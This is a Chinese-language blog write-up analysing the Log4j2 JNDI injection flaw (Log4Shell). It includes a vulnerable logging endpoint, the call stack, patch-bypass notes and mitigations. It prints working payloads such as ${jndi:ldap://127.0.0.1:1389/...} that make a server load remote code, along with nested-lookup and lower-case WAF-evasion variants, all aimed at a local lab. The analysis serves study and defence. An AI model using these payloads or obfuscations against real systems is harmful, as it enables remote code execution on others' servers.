前言
log4j2 jndi 注入被誉为2021年的核弹级别漏洞,而我当时在准备考研,错过了这次安全圈的狂欢,特此补上。
漏洞分析
影响版本
- log4j 1.x
- log4j 2.x< =2.15.0-rc1
环境搭建
环境使用 Hello-Java-Sec 搭建,不用 vulhub 是因为不想远程调试,习惯本地了()
log4j2 包含2个jjar包,log4j-core 和 log4j-api,log4j1只有一个包。
1 2 3 4 5 6 7 8 9 10 11
| <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.8.2</version> </dependency>
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.8.2</version> </dependency>
|
漏洞代码如下
1 2 3 4 5 6 7
| private static final Logger logger = LogManager.getLogger(Log4jVul.class); @PostMapping(value = "/vul") public String vul(@RequestParam("q") String q) { System.out.println(q); logger.error(q); return "Log4j2 JNDI Injection"; }
|
漏洞原理
漏洞本质:直接阅读官方文档可以发现,log4j2的logger.error
支持 log4j2的属性替换系统,其参数可以使用 ${...}
并且支持指定前缀协议,用于寻找属性key对应的value,如下图所示。观察文档描述可以知道支持 jndi前缀,而我们知道多恐怖如果 jndi 的lookup地址是可控的,从而导致RCE。

漏洞利用:这里直接打的jndi ldap 协议反序列化,版本在 8u191 也是可以打的,理论上8u221不行(没有尝试)
1
| ?vul=${jndi:ldap://127.0.0.1:1389/Basic/Command/calc}
|
calc 命令执行成功。

调试分析:个人觉得相比 fastjson 和其他复杂的调用链,这个算简单的。source 就是logger.error()
或者其他输出信息的函数,sink就是JndiManager#lookup
。下面是函数调用栈。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| lookup:129, JndiManager (org.apache.logging.log4j.core.net) lookup:54, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:183, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1054, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:976, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:872, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:427, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:127, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:333, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:232, PatternLayout (org.apache.logging.log4j.core.layout) encode:217, PatternLayout (org.apache.logging.log4j.core.layout) encode:57, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:177, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:170, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:161, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:448, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:433, LoggerConfig (org.apache.logging.log4j.core.config) log:417, LoggerConfig (org.apache.logging.log4j.core.config) log:403, LoggerConfig (org.apache.logging.log4j.core.config) log:49, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config) logMessage:146, Logger (org.apache.logging.log4j.core) logMessageSafely:2091, AbstractLogger (org.apache.logging.log4j.spi) logMessage:1988, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1960, AbstractLogger (org.apache.logging.log4j.spi) error:723, AbstractLogger (org.apache.logging.log4j.spi) vul:25, Log4jVul (com.best.hello.controller.ComponentsVul)
|
分析时发现一个有意思的点,为什么 logger.log()不行,logger.error
/ logger.fatal()
行? 实际上和开始的一个判断有关,它会比较 logger调用的函数的日志等级与系统默认日志的级别的值,只有 系统默认 >= 调用函数
才可以触发lookup。
只有if判断为 true 才会走到下面的逻辑里:

经过几个调用来到这里,这里系统默认是 200 ERROR,而我调用的函数也是 200 ERROR,所以返回true,进入后续逻辑

日志的等级划分,在 StandardLevel 里,可以看到 FATAL是100,所以 logger.fatal也是可以触发漏洞的 :

1 2 3 4 5
| filter:429, Logger$PrivateConfig (org.apache.logging.log4j.core) isEnabled:151, Logger (org.apache.logging.log4j.core) logIfEnabled:1959, AbstractLogger (org.apache.logging.log4j.spi) fatal:1030, AbstractLogger (org.apache.logging.log4j.spi) vul:25, Log4jVul (com.best.hello.controller.ComponentsVul)
|
补丁与绕过:log4j2 发布了两个补丁,其中 2.15.0-rc1 是存在绕过的,不过比较鸡肋,需要配置文件可控;另外在host里引入了白名单校验,默认只支持本地IP。所谓的绕过是指配置文件白名单设置允许jndi到指定地址的情况,因为rc1的版本在catch后没有return,会执行到lookup,如下图所示。

对于IP白名单,可能的bypass思路可以参考 SSRF,使用主机名@或者#做截断进行绕过,但是应该不太行。
绕waf:
递归解析绕过:log4j2 支持表达式递归解析,下面的表达式会逐层解析,由于 :-
是键值对的分隔符,而表达式只管取值,从而使得 {::-j}
-> j
,类似的可以混淆其他字符。
1 2
| loggr.info("${${::-j}ndi:ldap://127.0.0.1:1389/Calc}"); logger.info("${${,:-j}ndi:ldap://127.0.0.1:3890/Calc}")
|
lowwer / upper 绕过:使用 log4j2 支持的关键字,实现大小写绕过
1
| logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
|
防御思路
- 更新依赖包版本到最新版
- 提高 rasp 覆盖率,rasp 能够有效防止类似漏洞
- 临时方案:
- jvm 添加 -Dlog4j2.formatMsgNoLookups=true 参数(版本>=2.10.0有效)
- 设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0有效)
- log4j2 < 2.10以下的版本移除JndiLookup类
- 禁止非业务的外网访问(只能收敛风险,不能根治)
总结
log4j2 这个漏洞的原理、利用都很简单,但是挖掘却是一件难事。我的第一个问题是阿里云在2021年是怎么发现的?人工审计还是借助工具?为什么会想到这个大众化的依赖?真的是非常的奇妙,思路很独特。
第二个是对于这种“核弹级别”的漏洞,对应的应急部门、安全运营部门该怎么做漏洞止血与修复?我想应该至少出两套方案,首先是采用临时方案降低核心业务被攻击的风险,解决增量的漏洞风险;其次是替换依赖包、插入rasp等耗费资源但是有效的通用方案,解决存量的安全风险。最后是对于研发部门的同学,应该把新漏洞的检测写入规则中,嵌入 SDLC 流程